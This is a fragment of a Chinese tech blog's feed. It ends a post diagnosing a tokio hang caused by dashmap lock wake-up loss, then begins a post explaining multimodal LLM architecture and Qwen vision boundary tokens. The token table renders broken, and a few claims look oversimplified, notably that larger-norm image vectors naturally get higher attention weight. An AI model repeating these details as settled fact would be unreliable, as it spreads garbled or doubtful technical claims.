&lt;li&gt;&lt;strong&gt;dashmap 6.2.1 的锁本身有真实薄弱点&lt;&#x2F;strong&gt;：它的 &lt;code&gt;RawRwLock&lt;&#x2F;code&gt;（&lt;code&gt;dashmap&#x2F;src&#x2F;lock.rs&lt;&#x2F;code&gt;）不是 parking_lot 原生锁，而是&lt;strong&gt;用 &lt;code&gt;parking_lot_core::park&#x2F;unpark&lt;&#x2F;code&gt; 手写的状态机锁&lt;&#x2F;strong&gt;（&lt;code&gt;WRITERS_PARKED&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;READERS_PARKED&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;ONE_WRITER&lt;&#x2F;code&gt; 位运算）。&lt;code&gt;unlock_exclusive_slow()&lt;&#x2F;code&gt; 在&quot;读+写都有人 parked&quot;时先把状态 &lt;code&gt;store(WRITERS_PARKED)&lt;&#x2F;code&gt;（此时 owner 位清零），再由两条路径分别 &lt;code&gt;unpark&lt;&#x2F;code&gt;——这个&lt;strong&gt;中间态 + 并发新读者（只查 ONE_WRITER、不查 WRITERS_PARKED）或新写者（CAS(0)）&lt;strong&gt;的窗口，可以造成&lt;&#x2F;strong&gt;写者唤醒丢失&#x2F;饥饿&lt;&#x2F;strong&gt;（core 里&quot;两个 writer 全部 park、无 owner&quot;正是这个形态）。这是 dashmap 6.x 在重度读写并发下的已知类问题（后续版本&#x2F;换实现多次修过）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;我们代码踩了 DashMap 文档红线&lt;&#x2F;strong&gt;：&lt;code&gt;status.rs&lt;&#x2F;code&gt; 的 &lt;code&gt;let t = registry.get(&amp;amp;port)&lt;&#x2F;code&gt; 返回的 &lt;code&gt;Ref&lt;&#x2F;code&gt;（分片读锁 guard）&lt;strong&gt;跨过了 &lt;code&gt;.await&lt;&#x2F;code&gt; 才 drop&lt;&#x2F;strong&gt;（&lt;code&gt;t.state.read().await&lt;&#x2F;code&gt; 期间 &lt;code&gt;t&lt;&#x2F;code&gt; 仍存活；dashmap 6 的 Ref 是 Send，所以编译能过）。读锁跨 await 与并发 &lt;code&gt;insert&lt;&#x2F;code&gt; 交织，会大幅放大 1 的死锁窗口。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;结论：&lt;strong&gt;库的固有弱点 × 我们的跨 await 用法 = 平时不炸、只在&quot;唤醒&#x2F;状态页并发&quot;场景炸&lt;&#x2F;strong&gt;。两个都要修（一个换锁、一个守纪律）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;q2-park-condvar-bu-shi-dai-timeout-de-condvar-deng-dai-ma-wei-shen-me-timeout-huan-xing-bu-jiu-chang&quot;&gt;Q2：&lt;code&gt;park_condvar&lt;&#x2F;code&gt; 不是带 timeout 的 condvar 等待吗？为什么 timeout 唤醒不救场？&lt;&#x2F;h2&gt;
&lt;p&gt;要点：&lt;strong&gt;timeout 到点唤醒 ≠ 能干活的资格&lt;&#x2F;strong&gt;。tokio worker 空闲 park 的 timeout 只取自&quot;是否存在待处理的 timer&quot;（无 timer 时是无限等）；即使醒来的 worker：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;醒来 → ① 本地&amp;#x2F;全局队列没任务
     → ② 尝试 poll driver（epoll&amp;#x2F;timer）
     → ③ 发现 driver owner 令牌被死锁线程持有 → 没有资格轮询 → 继续睡回去
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;tokio 的 io&#x2F;timer driver 是&lt;strong&gt;单 owner 防惊群&lt;&#x2F;strong&gt;设计：只有一个 worker 真正在 &lt;code&gt;epoll_wait&lt;&#x2F;code&gt;。驱动令牌被卡在 dashmap 锁里的 worker 占死 → 其他 worker 每醒一次都在 ③ 被挡回——&lt;strong&gt;timers（livetick 5s）与 socket 事件永远没人轮询&lt;&#x2F;strong&gt;，这就是冻结期间 livetick 停打印、连接无人 accept 的机制。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;q3-zhi-shi-liang-ge-worker-si-suo-zai-suo-shang-wei-shen-me-zheng-ge-runtime-du-hang&quot;&gt;Q3：只是两个 worker 死锁在锁上，为什么整个 runtime 都 hang？&lt;&#x2F;h2&gt;
&lt;p&gt;不只看&quot;锁住 2 个&quot;——真正的扩散机制：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1 个 handler 卡死（dashmap 写锁，无人持有者却无人归还该锁）
└─ 该 worker 恰正持有 io&amp;#x2F;timer driver 令牌
   └─ epoll 无人轮询 → 新连接与 timer 永不就绪
      └─ 其余 worker 无限 idle-park 等唤醒，永远等不到（唤醒信号源断供）
         └─ 全 runtime 静默死透（不是全部锁死，是&amp;quot;唤醒源断供&amp;quot;）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;核心结论：&lt;strong&gt;tokio 里&quot;一个 task 长时间阻塞&quot;与&quot;全 runtime 挂&quot;之间，隔着&quot;driver 令牌&quot;这一环&lt;&#x2F;strong&gt;——修复重点不是多留几个 worker，而是&lt;strong&gt;绝不让 worker 在持驱动令牌状态下长时间阻塞&lt;&#x2F;strong&gt;（handler 路径消除共享锁长阻塞、加超时兜底）。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;xiu-fu-luo-di-yu-yan-zheng-2026-08-26&quot;&gt;修复落地与验证（2026-08-26）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;luo-di-gai-dong-yuan-ma-cang-ku-wfuzz-utils&quot;&gt;落地改动（源码仓库 &lt;code&gt;wfuzz-utils&lt;&#x2F;code&gt;）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;（换锁，根因）&lt;&#x2F;strong&gt;：隧道注册表从 &lt;code&gt;Arc&amp;lt;dashmap::DashMap&amp;lt;u16, Tunnel&amp;gt;&amp;gt;&lt;&#x2F;code&gt; 换成 &lt;code&gt;Arc&amp;lt;tokio::sync::RwLock&amp;lt;HashMap&amp;lt;u16, Arc&amp;lt;Tunnel&amp;gt;&amp;gt;&amp;gt;&amp;gt;&lt;&#x2F;code&gt;（&lt;code&gt;reverse-forwarder-server&#x2F;src&#x2F;lib.rs&lt;&#x2F;code&gt; 的 &lt;code&gt;Registry&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;TunnelHandle&lt;&#x2F;code&gt; 别名）。dashmap 自研 &lt;code&gt;RawRwLock&lt;&#x2F;code&gt; 的多 writer 丢失唤醒窗口整个消失。&lt;&#x2F;p&gt;
&lt;p&gt;对比修复前：同一驱动形态下第 5-6 轮即冻结（v7&#x2F;v8 三次独立命中）——两轮 30 轮全程 &lt;code&gt;probe=200&lt;&#x2F;code&gt;、无 alert，证明「重叠注册 + 并发写者」场景不再出现唤醒丢失。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yan-zheng-jiao-ben-verify-fix-sh-ke-fu-yong-ben-ji-yuan-cheng-jun-ke&quot;&gt;验证脚本 verify-fix.sh（可复用，本机&#x2F;远程均可）&lt;&#x2F;h2&gt;
&lt;p&gt;与 &lt;code&gt;repro8.sh&lt;&#x2F;code&gt; 同形态（旧对不杀、每轮叠加、7-12s&#x2F;轮），差异：参数化（&lt;code&gt;SRV&#x2F;PORT&#x2F;BASE1&#x2F;BASE2&#x2F;ROUNDS&#x2F;CLIENT&lt;&#x2F;code&gt;）、探针自动判冻结（3 连非 200 → &lt;code&gt;alert.txt&lt;&#x2F;code&gt;）、结束清理客户端残留：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;RUST_LOG=info nohup .&amp;#x2F;target&amp;#x2F;debug&amp;#x2F;message-queue-enhance \
    --host 127.0.0.1 --listen 18080 &amp;gt;&amp;gt; &amp;#x2F;tmp&amp;#x2F;verify-fix&amp;#x2F;server.log 2&amp;gt;&amp;amp;1 &amp;amp;
SRV=127.0.0.1 PORT=18080 CLIENT=.&amp;#x2F;target&amp;#x2F;debug&amp;#x2F;reverse-forwarder-client \
    bash verify-fix.sh   # 通过标准：pairs=30、全程 probe=200、无 alert
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;em&gt;本文首发记录排查结论；后续随根因钉死、修复落地持续更新。&lt;&#x2F;em&gt;（2026-08-25 首发；2026-08-26 修复落地与验证）&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>多模态大模型（LMM）工程原理深度解析：从架构到推理</title>
        <published>2026-08-25T16:00:00+08:00</published>
        <updated>2026-08-25T16:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/lmm-engineering-principles/"/>
        <id>https://vercel.juzhong.asia/2026/08/lmm-engineering-principles/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/lmm-engineering-principles/">&lt;h1 id=&quot;duo-mo-tai-da-mo-xing-lmm-gong-cheng-yuan-li-shen-du-jie-xi-cong-jia-gou-dao-tui-li&quot;&gt;多模态大模型（LMM）工程原理深度解析：从架构到推理&lt;&#x2F;h1&gt;
&lt;p&gt;在了解大模型原理之前，很多人会好奇：多模态模型（如 GPT-4o、Qwen-VL）为什么能&quot;看懂&quot;图片？它们和外挂一个 OCR&#x2F;检测模型，把文字描述塞给 LLM 的&quot;外挂识别方案&quot;有什么区别？本文从工程角度拆解 LMM 的底层机制，重点解答&quot;图像向量如何被 LLM 理解&quot;这一核心问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-yuan-sheng-duo-mo-tai-vs-wai-gua-shi-bie-ben-zhi-chai-yi&quot;&gt;1. 原生多模态 vs. 外挂识别：本质差异&lt;&#x2F;h2&gt;
&lt;p&gt;多模态 LLM 和外挂图片识别的 LLM 差别是&lt;strong&gt;本质性&lt;&#x2F;strong&gt;的，核心在于&lt;strong&gt;信息流通的完整性&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;方案类型&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;工作流程&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;信息损失&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;外挂识别方案&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;图像 → 外部模型（OCR&#x2F;检测）→ &lt;strong&gt;文字描述&lt;&#x2F;strong&gt; → LLM&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;信息瓶颈（Information Bottleneck）&lt;&#x2F;strong&gt;。丢失了颜色深浅、光影、精确相对位置等无法用语言穷举的细节。LLM 处理的是&quot;二手信息&quot;。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;原生多模态方案&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;图像 → 视觉编码器 → 投影层 → &lt;strong&gt;直接进入 LLM 嵌入空间&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;保留像素级语义&lt;&#x2F;strong&gt;。模型能看到&quot;猫的胡须弧度&quot;，并直接基于原始视觉信号推理，具备&quot;视觉直觉&quot;。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;也正因如此，现在的 SOTA 模型（如 GPT-4o、Qwen-VL）均采用原生多模态路线。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-he-xin-jia-gou-san-da-mo-kuai-de-zhi-ze-yu-can-shu&quot;&gt;2. 核心架构：三大模块的职责与参数&lt;&#x2F;h2&gt;
&lt;p&gt;目前的架构（如 LLaVA、CogVLM）均采用 &lt;strong&gt;&quot;视觉编码器 + 投影层 + 大语言模型&quot;&lt;&#x2F;strong&gt; 的模块化结构：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;模块&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;作用&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;输入&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;输出&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;参数规模参考&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;视觉编码器&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;提取视觉语义特征&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;原始像素 &lt;code&gt;(224x224x3)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;视觉特征向量 &lt;code&gt;(14x14x768)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;约 &lt;strong&gt;5B&lt;&#x2F;strong&gt;（如 CogVLM2）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;投影层（关键纽带）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;将视觉特征&quot;翻译&quot;到语言模型空间&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;视觉特征向量&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;视觉嵌入向量（维度与 LLM 词嵌入一致）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;较小（通常是 MLP）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;大语言模型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;综合视觉与文本信息，进行推理和生成&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;文本 Token + 视觉嵌入&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;回答文本&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;约 &lt;strong&gt;8B&lt;&#x2F;strong&gt;（如 Llama-3）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;3-mo-tai-dui-qi-de-di-ceng-shu-xue-ji-zhi-mei-you-biao-qian-ru-he-qu-fen&quot;&gt;3. 模态对齐的底层数学机制：没有&quot;标签&quot;如何区分？&lt;&#x2F;h2&gt;
&lt;p&gt;投影层将图片和文本都映射成了相同维度的向量，模型怎么区分它们？会不会把图片误读成文字？&lt;&#x2F;p&gt;
&lt;p&gt;这是理解多模态模型最核心、最反直觉的一点。&lt;strong&gt;Transformer 本身并不依赖显式标签区分图片与文本&lt;&#x2F;strong&gt;，但不同模型在&quot;模态边界&quot;这个工程问题上走了&lt;strong&gt;两条路线&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;隐式路线（LLaVA 风格）&lt;&#x2F;strong&gt;：靠输入向量的固有统计差异 + 注意力机制天然区分，见 3.1；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;显式路线（Qwen 风格）&lt;&#x2F;strong&gt;：在序列中保留 &lt;code&gt;&amp;lt;|vision_start|&amp;gt;&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;&amp;lt;|vision_end|&amp;gt;&lt;&#x2F;code&gt; 边界 token，明确框出视觉信息块的起止，见 3.3。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;修正说明：初版文章只写了隐式路线，说法过于简化——它只对 LLaVA 风格的模型成立。下面先保留原分析，再补充显式边界 token 的正确图景（Qwen 的细节来自 tokenizer 配置观察，后续继续求证）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;3-1-yin-shi-lu-xian-shu-zhi-de-tong-ji-te-zheng-distribution-shift&quot;&gt;3.1 隐式路线：数值的统计特征（Distribution Shift）&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文本向量（Embedding）&lt;&#x2F;strong&gt;：来自固定的词表查表。经过预训练后，所有文本 Token 的向量**模长（L2 Norm）**通常非常稳定且较小（如均值约为 2.3）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;图片向量（Projection）&lt;&#x2F;strong&gt;：由多层感知机（MLP）对实时像素进行&lt;strong&gt;非线性变换&lt;&#x2F;strong&gt;得到。由于 MLP 的激活函数（如 GELU），输出向量的&lt;strong&gt;模长通常远大于文本&lt;&#x2F;strong&gt;（如均值可达 15.0），且方差极大。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;类比：你不是靠标签去区分一堆&lt;strong&gt;乒乓球（文本）&lt;strong&gt;和&lt;&#x2F;strong&gt;铅球（图片）&lt;&#x2F;strong&gt;，而是因为&lt;strong&gt;质量（向量模长）的巨大差异&lt;&#x2F;strong&gt;，在计算力（Attention）时，它们对网络带来的影响本就不同。模型只需按照矩阵乘法计算，&lt;strong&gt;模长大的图片向量在 Attention 中会天然获得更高的权重&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-wei-zhi-bian-ma-yu-mo-tai-wu-guan&quot;&gt;3.2 位置编码与模态无关&lt;&#x2F;h3&gt;
&lt;p&gt;位置编码&lt;strong&gt;只负责标记&quot;顺序&quot;和&quot;相对坐标&quot;，与模态区分无关&lt;&#x2F;strong&gt;。它解决的是&quot;这句话从左到右的语序&quot;问题，不是&quot;这是图片还是文字&quot;的问题。&lt;&#x2F;p&gt;
&lt;p&gt;多张图片的交叉处理，靠的是&lt;strong&gt;位置编码提供&quot;身份证&quot;&lt;&#x2F;strong&gt;，让模型知道某个向量属于哪张图；而&lt;strong&gt;文本指令（如&quot;图1&quot;）作为 Query&lt;&#x2F;strong&gt;，通过注意力权重的高分检索，把目标坐标段的向量&quot;拉取&quot;出来。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-3-xian-shi-lu-xian-vision-start-vision-end-bian-jie-token-qwen-feng-ge&quot;&gt;3.3 显式路线：&lt;code&gt;&amp;lt;|vision_start|&amp;gt;&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;&amp;lt;|vision_end|&amp;gt;&lt;&#x2F;code&gt; 边界 token（Qwen 风格）&lt;&#x2F;h3&gt;
&lt;p&gt;Qwen 系列的 tokenizer 中确实存在与视觉相关的特殊 token，且拥有独立 token ID（如 &lt;code&gt;&amp;lt;|vision_start|&amp;gt;&lt;&#x2F;code&gt; = 248053、&lt;code&gt;&amp;lt;|vision_end|&amp;gt;&lt;&#x2F;code&gt; = 248054），见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;huggingface.co&#x2F;Qwen&#x2F;Qwen3.8-27B&#x2F;blob&#x2F;main&#x2F;tokenizer_config.json&quot;&gt;Qwen3.8-27B tokenizer_config.json&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Token&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;作用&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;`&amp;lt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;vision_start&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;`&amp;lt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;vision_end&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;`&amp;lt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;vision_pad&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;`&amp;lt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;image_pad&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;`&amp;lt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;video_pad&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;与 LLaVA 风格（&lt;code&gt;&amp;lt;image&amp;gt;&lt;&#x2F;code&gt; 占位符在预处理时被物理移除、替换为图像向量）不同，Qwen 的做法是&lt;strong&gt;保留这些边界 token 在输入序列中&lt;&#x2F;strong&gt;，实际排列如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;|im_start|&amp;gt;user&amp;lt;|im_start|&amp;gt; &amp;lt;|vision_start|&amp;gt; [576个图像向量] &amp;lt;|vision_end|&amp;gt; 请描述这张图 &amp;lt;|im_end|&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;它们的作用：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;结构化标记&lt;&#x2F;strong&gt;：&lt;code&gt;&amp;lt;|vision_start|&amp;gt;&lt;&#x2F;code&gt; 和 &lt;code&gt;&amp;lt;|vision_end|&amp;gt;&lt;&#x2F;code&gt; 像一对括号，明确划定了&quot;图像特征向量&quot;的边界，模型在 Self-Attention 中可以据此知道&quot;夹在中间的这些向量是视觉特征，不是文本&quot;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Attention 锚点&lt;&#x2F;strong&gt;：文本 Token（如&quot;请&quot;、&quot;描&quot;、&quot;述&quot;）做 Query 时，可通过 &lt;code&gt;&amp;lt;|vision_start|&amp;gt;&lt;&#x2F;code&gt; 这个 Token 的 Key 精准定位到图像特征的起始位置，比纯靠位置编码推断更明确、更鲁棒。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;区分输入类型&lt;&#x2F;strong&gt;：&lt;code&gt;&amp;lt;|image_pad|&amp;gt;&lt;&#x2F;code&gt; 与 &lt;code&gt;&amp;lt;|video_pad|&amp;gt;&lt;&#x2F;code&gt; 让同一序列中可区分当前填充的是图像还是视频特征（Qwen 同时支持图文和视频输入）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;特性&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;LLaVA 风格&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Qwen 风格&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;占位符处理&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&amp;lt;image&amp;gt;&lt;&#x2F;code&gt; 在预处理时被移除，替换为图像向量&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;`&amp;lt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;边界标记&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;无显式边界，靠位置编码区分&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;有显式的 start&#x2F;end 边界 token&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;优点&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;序列更短，计算略快&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;边界更明确，多模态类型区分更清晰&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;代表模型&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;LLaVA、早期的 BLIP&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Qwen-VL、CogVLM、InternVL&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;4-xun-lian-gong-cheng-sun-shi-yan-ma-yu-zhu-yi-li-ji-zhi&quot;&gt;4. 训练工程：损失掩码与注意力机制&lt;&#x2F;h2&gt;
&lt;p&gt;训练时如何防止模型&quot;乱输出像素&quot;？这跟位置无关，真实的技术原理是 &lt;strong&gt;&quot;注意力掩码（Attention Mask）&quot; + &quot;损失掩码（Loss Mask）&quot;&lt;&#x2F;strong&gt; 的组合。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-xun-lian-shi-sun-shi-yan-ma-loss-mask&quot;&gt;4.1 训练时：损失掩码（Loss Mask）&lt;&#x2F;h3&gt;
&lt;p&gt;在计算交叉熵损失时，代码会显式地将&lt;strong&gt;图片 Token 对应的标签（Label）设为 &lt;code&gt;-100&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（在 PyTorch 中，&lt;code&gt;-100&lt;&#x2F;code&gt; 代表忽略该位置的损失）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;无论这张图出现在序列的第 1 位，还是第 1000 位，只要它是图片向量，&lt;strong&gt;它就不参与&quot;预测下一个字&quot;的误差计算&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;因此，模型不会因为&quot;没预测出图片后面的像素&quot;而受到惩罚。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-2-tui-li-shi-yin-guo-zi-zhu-yi-li-causal-self-attention&quot;&gt;4.2 推理时：因果自注意力（Causal Self-Attention）&lt;&#x2F;h3&gt;
&lt;p&gt;推理阶段没有损失函数，依靠自回归生成机制。模型每次只生成&lt;strong&gt;一个&lt;&#x2F;strong&gt; Token，且&lt;strong&gt;只有序列最后一位的 Token 有资格发起 Query 去预测下一个词&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;前面的图片 Token 早已&quot;躺&quot;在历史缓存（KV Cache）中，只提供记忆，不发起生成请求。&lt;&#x2F;li&gt;
&lt;li&gt;因此，&lt;strong&gt;推理时不需要显式地屏蔽图片预测&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;5-tui-li-gong-cheng-chun-tu-pian-shu-ru-yu-duo-tu-jiao-hu&quot;&gt;5. 推理工程：纯图片输入与多图交互&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;5-1-tu-pian-token-mei-you-fa-yan-quan-dan-xi-tong-hui-qiang-zhi-pin-jie-qi-shi-fu&quot;&gt;5.1 图片 Token 没有&quot;发言权&quot;，但系统会强制拼接起始符&lt;&#x2F;h3&gt;
&lt;p&gt;如果输入只有一个图片、没有文本，图片 Token 不能作为 Query，怎么生成输出？&lt;&#x2F;p&gt;
&lt;p&gt;现实工程中，&lt;strong&gt;根本不会出现&quot;只有图片向量，没有文本 Token&quot;的输入序列&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;系统强制拼接&lt;&#x2F;strong&gt;：当用户没有输入文本时，系统会自动在图片向量&lt;strong&gt;后面&lt;&#x2F;strong&gt;拼接一个特殊的起始文本 Token（如 &lt;code&gt;&amp;lt;BOS&amp;gt;&lt;&#x2F;code&gt; 或 &lt;code&gt;Describe this image&lt;&#x2F;code&gt; 默认提示词）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;启动生成&lt;&#x2F;strong&gt;：第一个字是由这个系统添加的 &lt;code&gt;[BOS]&lt;&#x2F;code&gt; Token 发起 Query 去检索图片信息并生成，而不是由图片 Token 自己发起生成。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;结论：图片 Token 在多模态 LLM 中，只充当&quot;记忆体&quot;和&quot;参考书&quot;，而**&quot;发言权（Query 权限）&quot;永远只交给文本 Token 或起始符**。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-duo-zhang-tu-jiao-cha-chu-xian-shi-ru-he-fang-zhi-gan-rao&quot;&gt;5.2 多张图交叉出现时，如何防止干扰？&lt;&#x2F;h3&gt;
